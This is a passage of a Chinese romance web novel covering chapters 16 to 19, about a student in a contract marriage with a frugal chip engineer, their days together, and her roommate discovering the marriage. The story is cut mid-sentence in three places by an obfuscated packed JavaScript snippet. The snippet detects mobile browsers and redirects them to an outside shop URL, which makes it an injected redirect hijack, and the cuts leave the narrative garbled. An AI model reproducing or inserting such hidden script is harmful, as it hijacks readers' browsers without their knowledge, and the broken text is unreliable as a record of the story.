常妙闻声抬头看了眼他，那副银色的半框镜稳稳地在他高挺的鼻梁上架着，梁嵛眼眸低垂着，唇线轻抿，整张脸同他方才说出的那句话一样，一本正经，正直到看不出半分别的意思，只是，那双透粉的耳朵好像出卖了他。 常妙：“……” 哈，原来干这事你也会脸红哇！ 大概是此消彼长，这会儿常妙倒是找回了点面对他的勇气，她点了头，主动先去餐桌边坐下了。 - 这顿饭两个人吃了很久，常妙是在想事情，梁嵛则是在盯常妙吃饭的进度来控制自己进食的速度，第一次吃饭时候常妙说的话他记住了，现在正在改。 饭后，梁嵛功德圆满地最后一个放下了自己的筷子，起身准备洗碗时，常妙却隔着桌子按住了他，“我来洗吧。” 衣服人家洗了，饭是人家做的，她自己没一点付出怎么行。 说完，常妙飞快端起盘子进了厨房，这回她穿了合适的拖鞋，不用担心速度一快就容易绊倒的问题。 但她刚把水龙头打开，后边紧跟着就传来了脚步声，常妙细眉一拧，埋头更加认真地刷盘子。 “你放心吧，我饭虽然不会做，但是洗碗还是没问题的！”她打着保证。 流水哗哗冲着，常妙低着头，自然看不到身后梁嵛微愣后嘴角那一闪而过的轻笑，直到旁边出现一只修长好看的手，在她暗暗地注视下拿走了水池边的抹布。 梁嵛：“不跟你抢活儿，我去擦桌子。” 常妙：“……” 16. 第 16 章 就这样，常妙又在梁嵛家住了一晚。 今天起来，梁嵛还是没在，只不过他不是去早市了，而是上班去了。 昨天晚上，两个人第一次在彼此都清醒的时候躺在了一张床上。 常妙是觉得梁嵛挺平静的，她掀被子上床的时候他淡淡扫了一眼就去看书了，一副老夫老妻，浑然没有其他兴趣，并且还有耐心跟她交代后边几天的事的样子。 梁嵛说他放假这几天估计都会加班，之前的项目出了点问题，所以等不到放完假再去办，如果她宿舍暂时回不去的话，就在这安心住着，等学校收假了再回去。 常妙没带宿舍钥匙，正有点发愁这个，梁嵛这么一说倒是给她解决了难题。 也是，都结婚了嘛，在这住两天又怎么了！ 常妙如此宽慰着自己。 至于某件让她纠结紧张了两晚的事…… 大概是身旁的人对手里那本书太过一丝不苟了吧，好像周围没有别的任何能比它更有吸引力，在那种缓慢而规律的翻书声下，常妙渐渐也没了进屋时那种惶恐会发生什么的紧张感，反而假装刷手机的动作越来越自然。 夜深。 不知什么时候起，房间里的声音只剩下了常妙指甲偶尔轻碰在手机屏幕上的。 常妙眼皮一抬，眨巴两下，转头看向了左边的男人。 梁嵛睡着了。 但他还保持着上半身靠在床头的姿势。 额前的碎发半遮住他的眉眼，微黄的灯光从他那一侧打过来照亮一道精致分明的轮廓线，那只左耳又透出了一点粉粉的光。 手里的书是他们专业的，一眼扫去俨然一片天文，在他身子已成倾倒之势的时候仍被他松松地抓在手上。 常妙下意识保持安静，悄悄打量片刻，蹑手蹑脚地打算抽走他的书，让他往下躺躺，进被子里睡。 她单手撑在床中央，整个身体随着她的动作伏低，靠近。 很慢，又很快，常妙成功了。 她抱着那块厚重的“大砖头”准备转移战地，耳边这时竟突然响起一声轻轻的，“哼”。 像是人在轻笑时候发出那种气声。 常妙身子一僵，她以为梁嵛醒了，战战兢兢地侧头看去，发现梁嵛闭着眼睛，应该是还在睡，但他嘴角是扬起来的，比之前常妙曾见过的那回更明显、更确定的一个笑。 他睡……笑了？ 常妙也笑了，这是做什么美梦呢。 梁嵛嘴唇噙动了下，像在说话。 常妙反应过来，好奇心大涨，立马凑过去听。 他说：“……钱……哈，发财了……哈哈…………” 常妙：“……” - 屋里没人，常妙也更得自在，洗漱完毕后，她打算去客厅摸摸梁嵛洗的衣服，昨天天气好，应该都干了，一会儿收完她再继续画稿。 早晨的阳光还带着冷意，靠近窗户的时候有丝丝的冰凉在玻璃附近蔓延，扛着那堆凉飕飕的衣服，常妙一个没忍住打了个颤，她加快脚步想往回走，可就这么正对着的前方，她忽然瞥见餐桌上好像放了什么。 是一张彩色的便签纸，压在了纸巾盒下。 【锅里有早饭，如果凉了，水开冒气之后再热十分钟。】 常妙一愣，抬眸往厨房看了一眼，但想了下，还是转头先进了主卧。 梁嵛昨天给她把衣柜腾开了一半，现在大面积的空白又被她一一填补了进去，当然，填补的这些里百分之九十还是梁嵛的，只有一件粉色的娃娃领碎花裙另类又惹眼地加入了一片男士服装之中。 常妙捋了捋衣服间的间距，关上柜门，这才去了厨房。 灶上的蒸锅几乎没什么余温了，常妙打开锅盖，往里一瞧，里面是玉米和红薯，底层煮，上层蒸，这两样都不是好熟的，也不知道他几点起来做的。 常妙按便签上写的，开火加热，等待冒气的过程中，她回卧室拿了手机想给梁嵛发个谢谢，但没想到途经冰箱的时候，她余光又扫到了一张便签。 【冷冻层有水饺，之前包的，中午可以吃。 做法：取出先过一遍凉水，热水下锅，之后每次水开倒一小碗凉水，重复三遍即可。】 两张便签，梁嵛都写的很详细，甚至还包括了做法…… 常妙眼睛微微睁大，一动不动的，在原地定了半晌。 其实……她也不是一点做饭的常识都不懂的…… 常妙摸了摸后颈，脸上有一瞬难言的复杂，但随后，又不禁抿起唇轻轻地笑了下。 - 一天下来，常妙除了吃饭上厕所时间基本都花费在画稿上，只是中间瞧着日头差不多了，给秦羽鹭打了通电话。 小祖宗接起电话的那一刻，常妙可是松了口气，她就秦羽鹭一整天不回消息的恶劣行为给予了强烈批评，那头笑嘻嘻的，软着语气道了歉，这才说了这两天的情况。 原来确实是家里的问题，秦羽鹭那天去找弟弟孔霖，两人发生不快大吵了一架，最后还不小心把手机摔了，今天这是修好了才看到常妙之前发的消息，本来也准备给她回电话的。 家务事外人一向不好评说，常妙只要知道没什么大事就放心了，“那你现在在哪啊，准备回学校吗？” 秦羽鹭叹气，“想回，但是还不行，没完成我妈交代的任务，这不困家里了吗，估计还得过两天吧。” “你呢，是不是没有我的陪伴，一个人在宿舍很寂寞呀~” 沉默半秒。 常妙压住扑通扑通的心跳，心虚地接了下来，“是啊，我一个人，去食堂吃饭都没人陪。” 隔着电话线，秦羽鹭没法像以前一样直观地发觉常妙的不对，甚至觉得自己食了言挺不好意思的，当即，二话不说，打包票回去以后一定会狠狠补偿常妙那一夜！ 常妙眉头狠狠一皱，“不必，迟来的感情比草贱哼！” - 跟大多数人不同，梁嵛这个人其实挺喜欢加班的，陆合科技福利好，超出正常工作时间的加班费统一按三倍计算，所以有时候，在他闲来无事的时候，就喜欢在公司多坐一坐，一边喝着公家的茶水，一边挣着公家的钱，再一边做些明天的工作减轻明天的负担，生活还是挺美好的。 今天是法定假的第一天，听说许多同事都去外地旅游了，公司除了梁嵛，就剩一个姓刘的同事，老刘上午来补充了个报告就走了，下午就只剩下梁嵛一个人。 公司食堂节假日不开，他就把早上带来的一根玉米棒子啃了，吃完就睡，睡完起来接着干。 到了下班的点，任务比预计完成的还多些，他整理好桌面，安心回家了。 同往常一样，梁嵛在地库停好车便下车等电梯，出电梯，按密码开门，这样两点一线的生活他过了三年，不仅动作可以熟练地刻进了骨子里，连每一个场景会看到什么画面他都了然于心。 可能是今天回来的早了些，他碰见了对面的邻居下楼扔垃圾。 那住了一家三口，夫妻俩有个孩子正上小学，小孩挺乖，不是吵闹的性子，他基本没太听过那家有什么闹腾的声音。 跟那男人点头打了声招呼后，一出一进，他转头去开了自家的门。 梁嵛：…… 屋里有光？ 握在门把上的手一顿，身体在梁嵛有意识前已经做出了防备的反应，但转瞬，他猛然想起来。 是常妙。 或许是还没适应，或许是工作带来的疲惫，梁嵛居然忘了家里还有人。 梁嵛开门进去，透过玄关他看见常妙正在客厅的沙发上盘腿坐着，腿上放着个靠枕，靠枕上又放着平板，在画画。 常妙带着耳机，对外界的声音不敏感，直到梁嵛关门那一声，她才感觉到有什么动静。 “你回来啦。”她抬头朝门口喊了声。 梁嵛看她，“嗯，回来了。” 常妙放下平板，这次梁嵛手里没提什么东西，她也不用帮他拿，背着手在玄关处等他换完鞋，接着说：“那个， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两个人都有一瞬的僵硬，但常妙比梁嵛恢复得快些，主要是她发现梁嵛比她还不自在！ 常妙顶着那只手缓缓抬起头。 梁嵛绷着唇同她对视。 尚有余地的厨房里平白让人生出了逼仄感，梁嵛眼睫不知是颤还是眨，他单薄的眼皮落下，露出浅浅的褶皱，随后又忽地掀起，像是在不知处积攒了什么力量。 他移开那只触碰在常妙发间的手，转而在两人中间翻转，展开宽大的掌心，“让我看下你的手。” 常妙：“？” 梁嵛：“莴笋皮不好刮，我看下伤口。” “这你都看出来啦！” 常妙一句话就被转移了注意力，她拿出手让梁嵛瞧，“就是食指那，其实不严重，已经不流血了。” 梁嵛仔细看了看，在他的认知里，确实不算严重。 伤口不深，流血情况应该是很快能止住的那种，破损处有一小块皮被刮掉了，两毫米的样子，大概两天就能长好。 只不过……梁嵛想起那晚常妙喝醉，把她从墙头抱下来的时候，她的脚踝不过轻刮了栏杆一下就红着眼喊疼。 他查看过，没有任何伤口，只是摩擦到，皮肤红了点……偏偏怀里的人委屈得那么真情实感，时不时地还抽泣一下。 梁嵛当时是真的不知道该怎么办，只得拍了拍她的背以示鼓励，也就是那时候，他突然发现常妙原来很瘦，就这样拍着都能感觉到她嶙峋的肩胛骨，那种一掌便能覆盖的触感……轻薄，像脆弱的瓷器，让他不敢再碰。 如果是这样，他大概懂了常妙为什么会疼。 而现在，梁嵛合理推断，常妙一定还是疼的，只是她在清醒的时候一贯坚强，才不会为这道已经“不流血”的伤口流什么眼泪。 “消毒了吗？” 梁嵛问。 常妙：“我拿清水冲了！” 答非所问。 梁嵛松开她的手，“先去给你重新处理下，一会儿再做饭。” 说罢，梁嵛先一步抬脚离开，然而直至完全背向常妙时，他垂下眼，终于将方才憋了许久的那口气畅快吐出。 17. 第 17 章 不知不觉，常妙的五一假期竟在梁嵛这里过完了。 接的稿件比预期完成的时间要早，这天上午，常妙把最终稿发了过去，那边很爽快，嗷嗷嗷地喊了几声卡密之后很快就把尾款付清了，还说下次有机会再合作。 常妙自然答应，精心挑选了一个表情包发过去表示期待。 私稿价格通常不高，但她这情况，没得挑，有钱她就赚！ 梁嵛借她的衣服被她洗好挂在了阳台，家里的卫生常妙也仔细收拾了一遍，最后一天，她原打算下午等梁嵛回来跟他当面说一声再走的计划因为交稿跟着也想提前，左右在这边也没事可做了，明天导师要审毕设进度，那还不如早点回去再搞搞毕设。 决定做好了，但常妙有一点需要考虑。 梁嵛收留她的这几天，管吃管喝，先前还毫无怨言地大晚上跑去酒吧接她，如果就这样不吭不响地走了未免也太没礼貌了。 常妙撑着下巴，思索…… 要不，请他吃顿饭吧？ 多数人表达感谢都是这个方式，常妙也觉得这个想法不错，约个中午饭，就在陆合科技附近，吃完梁嵛方便回去上班，她也能直接回学校！ 常妙自我满意地点点头，然后飞速编辑了一条信息给梁嵛发了过去。 …… “行，那就这么办。” 开了一上午小会，陈建生终于确定了梁嵛提出的方案修正，他这边点了头，剩下的就需要梁嵛继续转化架构，完成优化。 项目组的其余几个人已经散了，办公室里只剩下陈建生和梁嵛，陈建生坐在椅子上，斜睨了梁嵛一眼，然后大声叹了一口气。 梁嵛知道他这是演给自己看的，他抬起头，端看着对面，索性等着他接下来的话。 陈建生鲜少被人这么毫不遮掩地瞅着，那感觉就好像是自己是个唱戏的，底下的客人催他赶紧开始表演一样。 陈建生：“……你能不能别坐那么端地看我？到底我是领导还是你是领导！” 梁嵛：“你是。” 陈建生没好气，“我是领导你刚才在会议上还那么怼我？” 梁嵛皱眉，“我没有怼你。” 陈建生一噎，是，严格来讲那确实不算怼，放在这小子身上那更不叫怼，按他三年前给出的说法，那是阐述事实，合理提出疑问！ 但这并不妨碍陈建生发脾气，他都四十岁的人了，比梁嵛大了整整一轮，更别提他还是陆合科技创立之初就被挖过来的老人，这么些年又是发光又是发热的，公司里几款经典的芯片都是他的作品，那平时讲话做事要点面子怎么了？ 想清楚后，陈建生顺理成章地鼓足了气，他脸长，吊起脸来就更长，小组里的人都怕他，想来也能让梁嵛认识到自己的错误。 但时间一分一秒过去，陈建生发现，他是在妄想…… 是啊，可不就是妄想么，他要是这么简单就能让梁嵛在职场中重新打造一套与自身性格完全相悖的说话方式，那这三年来他至于生这么多气吗？偏偏人家脑子好，在IC研发方面确实有天赋，他不敢骂人，怕把人骂跑了以后年终奖白送给了隔壁组，所以到头来回回都是靠自己消化…… 果然，梁嵛见他迟迟不说话，也没打算过多询问，工作上的事情该通知的陈建生会告诉他的。 他整理好笔记本，“没事的话我就走了？” 陈建生：“……” 陈建生疲惫挥手。 梁嵛起身。 “等等。” 陈建生突然叫住他。 “你手上那戴的什么？”陈建生探着脖子，眼睛惊疑不定地盯着梁嵛的左手。 梁嵛顺着他视线看了眼，淡声，“戒指。” 他当然知道是戒指，重要的是位置啊！ 无名指戴戒指那是结婚的意思，梁嵛戴什么？ 陈建生狐疑一扫他，但瞧着那张一看就不会来事儿的脸，转瞬便打消了那个可怕的念头。 不可能不可能，这小子连领导都不会哄，还会哄姑娘了？ 估计就是年轻人瞎戴着玩的~ 许是被这个想法逗乐了自己，陈建生笑了笑，大手再次一挥，“没事，好好工作去吧，小伙子未来可期！” - 看到常妙的消息是回到工位后了。 常妙：【中午一起吃饭吗？我去找你！】 梁嵛彼时有些怔忡，他中午一般都是去公司食堂吃，但有时也能见到周围的同事被女朋友叫出去一起吃饭的，现在当事人一换，他心里居然腾升起一种挺微妙的感觉。 梁嵛：【好，我等你，到了提前给我发信息。】 梁嵛把位置发过去，很快收到常妙的回复。 常妙：【OK!】 距离午休还有一个小时，梁嵛看了眼时间，打开电脑，开始工作。 - 十二点十分。 “梁，你还不去吃饭？”坐在梁嵛斜对面的一个同事站起身，伸个懒腰的空挡就瞧见梁嵛那边正目不转睛地严肃盯着电脑，这可是件稀奇事啊！ 他跑到梁嵛工位旁，“怎嘛，工作出问题了？” 话刚说完，他就发现自己错了，工作没出问题，梁嵛盯的也不是电脑，而是电脑前面拿的端端正正的手机！ 同事一阵莫名，黑屏的手机有什么可看的，“活儿干完了就去吃饭呗，一起？” 梁嵛摇头，“不用，你去吧，我有人约了。” “？” 同事来不及再问什么，梁嵛手机这时亮了，两人同时看过去，同事因为角度问题并没有看到那上面显示了什么，但他明显看到梁嵛脸上的表情瞬间松了。 同事：“你……” 梁嵛拍了下他肩膀，“不好意思，先走了。” 梁嵛到公司楼下的时候正好看见常妙风风火火地从马路对面跑过来，他下意识看了眼红绿灯，还有几秒就变红了。 常妙也看见了，又恰好看见梁嵛在对面，剩下一半的路把两条腿抡得飞快，还好这条街道不算太宽，她成功在红灯前抵达。 “抱歉抱歉，我来晚了。”她捂着胸口大喘气，白皙的小脸上浮起一片运动后的潮红，“你们这我没来过，刚才下公交走错路了。” 身后的车辆迅疾而过，随着车身拉扯出一道利风，梁嵛不放心地把常妙往自己这边拉了拉，这才语气有些严厉地说道：“下次不要这么急，来晚了就来晚了，走错路找不见就给我打电话，别在马路上乱跑，太危险了。” 常妙心说她没乱跑啊，刚才不就是因为怕红灯才跑过来的吗，但不服归不服，她听出梁嵛话音不对，还是小心翼翼地觑他一眼，讨好道：“好好好，我不乱跑，你也别生气了。” 梁嵛一愣，回忆刚才自己的表现，正色解释说：“我不是生气。” 常妙从善如流接下，“我懂，你是关心我。” 梁嵛：“……” 梁嵛凝着她，一时居然不知道该说什么，但想了想，觉得常妙也没说错，便点头，柔和了些语气说：“嗯，所以以后，不要这样了。” - 常妙在附近找的是一家鱼锅店，可能是城区位置的原因，这边消费水平普遍比其他地方要高，同样分量的东西，他们学校那边才一百出头，这家店就要翻上一倍，但没办法，请客感谢人家，不舍得花钱总不行吧。 中午人多，上菜也慢，常妙低头给秦羽鹭回了条消息的功夫，就发现梁嵛一脸探究地盯着她看。 “……怎么了？”常妙不由打量了下自己。 梁嵛食指点了点桌面上的菜单， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047627|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这家店，挺贵的。” 是啊……挺贵的，常妙心里苦哈哈，但面上还是佯装潇洒，“没事，请你吃饭嘛，你那次请我的时候不是更贵？” 梁嵛摇头，“那次是特殊情况。”顿了顿，“你是不是一直没用我转给你的那些钱？” 当然没用，她用也不合适吧，常妙只把那些钱当作梁嵛对这段关系的一个诚意，一种安抚，到时候离婚了还得还给他。 见常妙默认，梁嵛没去深论，常妙不愿意用那笔钱去还账也没关系，就像她当初说还要还他那二十万，这是人的自尊，没必要去说什么，只不过这样的话，光她平时兼职的那些钱，刨去还款，生活费还能剩下多少？ 梁嵛恐怕不知道，他虽然长得斯斯文文，像个文人，但一旦皱起眉来还是挺吓人的，服务员端着锅过来的时候正好看见，还以为俩人吵架了，她就是个打工的，不想惹麻烦，计较着给女生干巴巴地笑了下后，转身就跑了。 常妙抿了下唇，她大概知道梁嵛在想什么，锅里的鱼还得煮一会儿，她就从端上来的小菜里夹了一块漂亮的红糖糍粑放进梁嵛的碗里。 “别想啦，你放心吧，这家店对我来说是有点贵了，但还在我能力范围之内。况且我也不是经常这样，这不是为了感谢你才偶尔允许自己放纵一点嘛！” 梁嵛：“感谢我？” “是啊，感谢你。”常妙冲他笑了笑，“谢谢你出差回来还不辞辛苦地去酒吧接我，谢谢你在我喝醉后照顾我，谢谢你收留我，谢谢你给我做饭，还要谢谢你借我平板赚外快！” 常妙说了一长串谢谢，可惜现在没有酒，不然真得跟他干一杯。 梁嵛兀自听着，等她说完，不由轻勾了下唇，“不客气。” 常妙见状，跟着嘿嘿一笑，“还有一件事，就是明天我要回学校上课了嘛，所以也是想借着这顿饭当面跟你说一声，待会儿吃完我就直接回去了。” 周遭的空气仿佛安静了一瞬。 梁嵛看着她，原来致谢不是主要，她是专门来告辞的。 正午的阳光灿烈到有些焦躁。 梁嵛忽然没了吃饭的兴致，“你东西都收拾完了？” 常妙夹了块糍粑在吃，“我没什么东西可收拾的，啊，对，你借我的衣服我洗了，你下班回去应该就能收了。” “……嗯。” 梁嵛垂下眼，筷子在糍粑上戳了下，但没吃。 对面的人大概是陷入了即将要回宿舍的喜悦里，话匣子打开，高高兴兴地跟他聊起了自己学校的事，有关于舍友的，有关于学校领导的，甚至学校湖边长的某棵歪脖子树都让她觉得有意思，一会儿东扯扯，一会儿西唠唠，说个不停。 对比在他家的时候，常妙虽然也会跟他说话，他也以为那是她的最高限度，但现在的这个……小巫见大巫了。 就这么高兴吗？ 梁嵛试图如过去几天一样听她说话，但很可惜，他这次没听进去，并且越看着常妙笑，他的心里就越乱。 印象里，他从没有出现过这种情况，他一向知道自己要什么，学理科的人需要有强大的逻辑，既然不知道为什么这样，他就去找原因。 为什么心绪混乱？ 很明显，因为常妙。 常妙又为什么会让他心绪混乱？ 因为她说要走了，还很高兴。 为什么人家要走他就心绪混乱？ 因为。 他不想让她走。 他想要家里有她在。 就像一片干涸的土地偶然汲取了甘霖，又要眼瞧着这些珍贵的水分在乌云散去的时刻回归天空，土地当然舍不得，当然想挽留。 梁嵛掀起眸，掷声打断了她。 干燥的嘴唇轻轻张合，“妙妙，搬过来住吧？” 18. 第 18 章 回到学校时，正赶上下午的第一节课，路上许多学生都是往教学楼走的，常妙是里面少见的逆行的人。 她沿着边上走，但还是没注意被一个男生撞了下，疼痛来袭，常妙下意识抬头只看见了一个奔跑的背影和一句跟着那个背影越跑越远的道歉。 还有两分钟就打铃了，常妙也不计较这个，揉揉胳膊，收回心神继续往宿舍的方向走。 不管怎么样，回去先把毕设搞了再说，马上就要六月了，明天导师还要审进度，不能再耽搁了。 仿佛有了暂时逃避某个头疼问题的理由，常妙的精神肉眼可见地就好了起来。 果然啊，逃避虽然可耻，但是有用！ 秦羽鹭是今天中午回来的，常妙怕她知道自己假期这几天都不在宿舍，就编了个理由说她昨天有事回家了，也是今天回来，这样一来，轻松解决钥匙的问题，而且隔着一道网线，常妙一点也不担心自己会因为撒谎时的心虚表现露馅！ “羽鹭，我回来啦。”常妙在门口敲门。 很快，屋内响起有人走近的声音，随着吱呀一声，门后露出一张意想不到的脸。 “嗨，常妙姐！”陆依然给常妙打招呼。 常妙一愣，随后弯眸笑起来，陆依然又换了个发色，一头渐变灰，头发剪短了，齐齐的垂在锁骨上方，还挺有机械姬的味道。 她接过门把手关门，“好久不见，你是中午和羽鹭一块过来的？怎么屋里就你一个？” “她刚才去洗手间了。”陆依然耸了耸肩膀，“本来是想中午约羽鹭姐一起出去吃饭的，但她要先放东西就一起过来了。” “中午？”常妙看了眼时间，诧异道，“那这都两点了，你们还没去吃？” 陆依然支吾了声，紧跟着眼神就在地板上四处游移，好像小狗探宝一样，每一个角落都舍不得不放过。 常妙不明所以，“……怎么了，你不会几天没见就跟我这么生疏了吧？” 这问题可以答！ 陆依然一个激灵，抬起头，连忙摆手，“没有没有没有！常妙姐，我这人自来熟你又不是不知道！” 这时，阳台的方向传来开门的声音，是秦羽鹭从卫生间出来了。 陆依然心中松了口气，但转念又觉得不对，自顾纠结间，秦羽鹭已经从阳台走了进来，她脸上还挂着水珠，原先精致的妆容被水轻微晕开，抬眼时，目光在常妙身上微微一顿，“回来了。” “嗯……” 宿舍此时的气氛有些怪，常妙无声看了看陆依然，又看了看秦羽鹭，有些犯迷糊。 她俩吵架了？ 看着也不像啊。 常妙是不喜欢这样的感觉的，以前宿舍里偶尔也有闹别扭的时候，都是她来破冰，所以这次不管事情怎么样，她也一样先开了口。 “羽鹭，你们不是要去吃饭吗，怎么……” “常妙。” 常妙一愣，对面冷冰冰的语气让她恍然想到了方才疑惑的答案。 原来羽鹭不是和陆依然吵了架，而是和自己么…… 可是发生了什么？！ 常妙第一反应是从自己身上找原因，可她思来想去，这几天她们俩都没见面，最后一次手机上聊天还是今天中午，羽鹭说帮她收了外面挂的衣服……两人认识这么久，羽鹭从来没有这样跟她说过话，那种忍耐、无奈、痛心，就好像她欺骗了她什么大事一样，可是有什么…… 等等。 衣服？！ 常妙脸色猛地一变。 ！衣柜啊！！！ 两人恰好就这么对视了一眼，双方好像都从对方的眼神里获知了什么，常妙默默吞咽了下，还想抱着侥幸硬撑一撑，但是下一秒，秦羽鹭转身就从桌上拿起一个红色的证件本递给常妙，她声音压抑着什么，深吸了一口气才说：“呐，我不小心看到的，你的隐私旁人确实不该知道，跟你说声抱歉，现在还给你，你重新找个地方好好收起来吧。” “羽鹭……” 常妙张了张嘴，一时间竟然不知道应该怎么解释，脑子里正组织着语言，一抬头，秦羽鹭不知道什么时候补完了妆，拎起包好像就要走的样子，身体比意识还要快一步，常妙蹭地就窜到门口拿身子把门堵住了。 秦羽鹭：“你堵我门干什么？” 常妙梗着脖子，“堵着你，不让你走啊！” 秦羽鹭看她理直气壮的，一下气笑了，“我去哪跟你有什么关系？咱们很熟吗？” 常妙：“不熟，也就是曾经睡过一张床的关系！” 陆依然：“？” 秦羽鹭：“……” 秦羽鹭：“那是当时社团露营咱俩睡的一个帐篷好不好！” 常妙：“帐篷怎么了，一个帐篷跟一张床差很大吗？” 片刻僵持后，秦羽鹭被常妙耍赖的话又气的坐回去了，常妙偷抿了下嘴，小碎步挪到秦羽鹭跟前，歪头看她，“生气啦？真生我气啦？” 秦羽鹭板着脸，不理她。 “那你听我解释完再生气好不好？”常妙拿手戳戳秦羽鹭的胳膊，故意逗她，“结婚的事，我真的不是有意瞒你的，只是不知道怎么跟你说。” “当时做这个决定的时候家里遇到了一些困难，我没办法自己解决。你知道，我家出事后背了不少债，本来分期还款问题还不算大，但那次突然有个人说要资金周转，不允许我们再拖欠，所以我没办法……” “没办法，没办法那你为什么不来找我？我可以借你啊！” 秦羽鹭忍不住打断她，如果说刚才她听到常妙有苦衷的时候，尚有一霎平复了些许被她欺瞒许久的气愤，那么后来常妙的那句话便让她的火蹭地又冒了起来。 什么叫没办法？没办法就能随便找个男人嫁了？她这么大个人天天杵在这，她是看不见吗，朋友不就是关键时刻可以来帮忙的吗！她什么都不说，怎么就知道没办法！ 常妙被秦羽鹭吼得一愣，她凝视着这双怒意生生的眼睛，顿了顿，认真道：“羽鹭，那是二十万。” “二十万不是个小数字，我就算问你开了口，你又从哪拿的出这么多钱？” 秦羽鹭：“我……” 一口气不上不下的。 停顿的两秒间，秦羽鹭不由忿声泄了气，她本想说她可以去借，可是她和常妙都知道，她们还都只是学生，能去哪借，又问谁去借？她妈改嫁确实嫁了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆依然：“……” 常妙照搬出陆依然舍友的话，“梁嵛不是随便的人，他很厉害的，搞芯片研究的，还在陆合科技工作，陆合科技你知道吧，行业内很有名的一家公司，能进去工作的都是智商超标的大佬！他还去过依然他们学校办过讲座呢，是吧？” 陆依然一愣，敢情这里边还有她的“功劳”啊！ 秦羽鹭难以认同，“妙妙，智商高……他智商高骗你才更轻松吧，你自己好好想想，他快三十的人了，想结婚不通过正途找老婆，为什么偏偏要用钱去哄你个还没毕业的女大学生，肯定是没安好心啊，说不定有什么怪癖，说不定……” 秦羽鹭欲言又止，但剩下的话不说常妙也明白了。 其实常妙很理解秦羽鹭的想法，两人相差六岁，是个说大没那么大，说小一定不小的年龄，加上两人目前的身份摆在那，正常人肯定都会觉得梁嵛可能有点什么歪心思，只不过常妙回忆这两天在梁嵛家的日子—— 常妙讷讷挑眉，干笑道：“应该不会吧，哈哈。” 感觉是个性冷淡呢…… 19. 第 19 章 天知道这些日子她的心态是怎么变化的，从紧张失眠，到狐疑猜测，再到平常心，短短五个晚上神功大成。 为什么呢，因为梁嵛每天睡得比她还早哇！ 两人当初领证的时候提过这个，毕竟是段交易婚姻，常妙不要孩子，但是同意履行夫妻的义务，如果梁嵛有需求她可以接受，所以不存在他有想法还非要刻意藏着掖着的可能。 秦羽鹭不知道常妙心里所想，听完这话只觉得当头一棒，觉得好姐妹绝对被狗男人PUA了，她着急起来，一扫旁边的陆依然，跟常妙换了位置，让她坐下，然后拉过陆依然站到她面前说：“行，我先不跟你讨论他有没有别的心思，但他的人品你总得好好了解吧？依然，你来跟她说！” 陆依然挠了挠头，相同的话她中午已经和秦羽鹭说过一遍，但毕竟是哥哥的朋友，有一点她觉得还是要给梁嵛辩解一下的。 “其实梁嵛也没有那么糟糕，就像常妙姐说的，工作方面确实很厉害，我哥经常说自己眼光好，给公司拉来了一个赚钱的人才，还不怕别人挖墙脚。” 常妙：“你哥给公司……？” 陆依然：“啊，陆合科技是我家的。” 常妙：“！” 秦羽鹭拿胳膊肘怼她，“说重点，你中午说的那些！” “哦哦。”陆依然接着说，“但生活方面吧，也不是说他人品就不好，就是他的一些对人处事的态度我觉得不大适合做一个男朋友，或者，丈夫。” 常妙没懂，“什么意思啊？” 陆依然：“就是他这人吧，真的太抠门了……” 所以当初这俩人在她家碰面的时候，她随口跟梁嵛玩笑了一句常妙怎么样后，紧跟着反应过来就不敢再提这茬了，因为她觉得她说错话了，不能给这俩人拉郎配，哪知道他们那会儿已经结婚了。 “常妙姐你能想象吗，他那么大个人，居然能跟一个小朋友计较两块钱橡皮的事！” 说起这事陆依然就气，真的，这事，她能记一辈子，她不就忘了还嘛，小朋友借两块钱而已，两块钱！又不是两百块！干嘛还要告家长，让陆宗序那家伙笑了她整整一个礼拜。 常妙想象到了，这位小朋友现在也很生气呢。 陆依然知道这只是很小一件事，要说起来也是自己不对，于是扁了扁嘴，又说：“我哥跟他是大学同学嘛，所以我有时候去学校找我哥的时候就会看见他。怎么说呢，一个长相、才华都能很拿得出手的人，在学校里怎么着都该挺受欢迎的吧？” “但梁嵛不是，他一直独来独往的。集体活动他不参加，因为要钱；宿舍聚餐他也不去，因为要钱；每个月还有两天失联，你猜为什么？” 常妙：“为什么？” “因为每个月1号扣话费，他手机停机，但2号某银行APP有固定送两元话费的充值活动，他得等到活动开始，才卡着欠费额去交话费！” 常妙眨眨眼，“……可能，他是穷吧？” 陆依然一摆手，“那他有钱了也没见多大方啊，研三的时候，梁嵛中了张彩票你知道吗，有三百万呢！！” “三百万！！！！” 常妙倒吸一口气，她现在冲去买一张来得及吗！ 陆依然叹摇着头，说：“常妙姐，你既然跟梁嵛接触过，有没有发现他这人不仅为人很正经，思想还特别古板？” 常妙还没从身边居然真的有人中彩票的震惊里出来，只浅浅回忆了下，屏着呼吸道：“好像有点。” “是吧，你说现在的年轻人哪个不想多玩玩，享受人生啊，但梁嵛就简直像个旧时代的人，对人生的规划就只有三件事，上学、工作、结婚，其余的一概不想，古板的很。” 常妙问：“他没有别的想做的事吗？” “对啊，我也这样问过他，你就不想出去旅游吗，或者培养点兴趣爱好？结果他想了半天，说赚钱攒钱就是他的兴趣爱好……” “当然，这不是重点，重点是你看，他有和女孩子相处的想法，但是！”陆依然举了例子，“他和女生一起出去吃饭的时候，会因为外面饭菜超出预算而选择不吃，然后说，你去吃，我等你。” 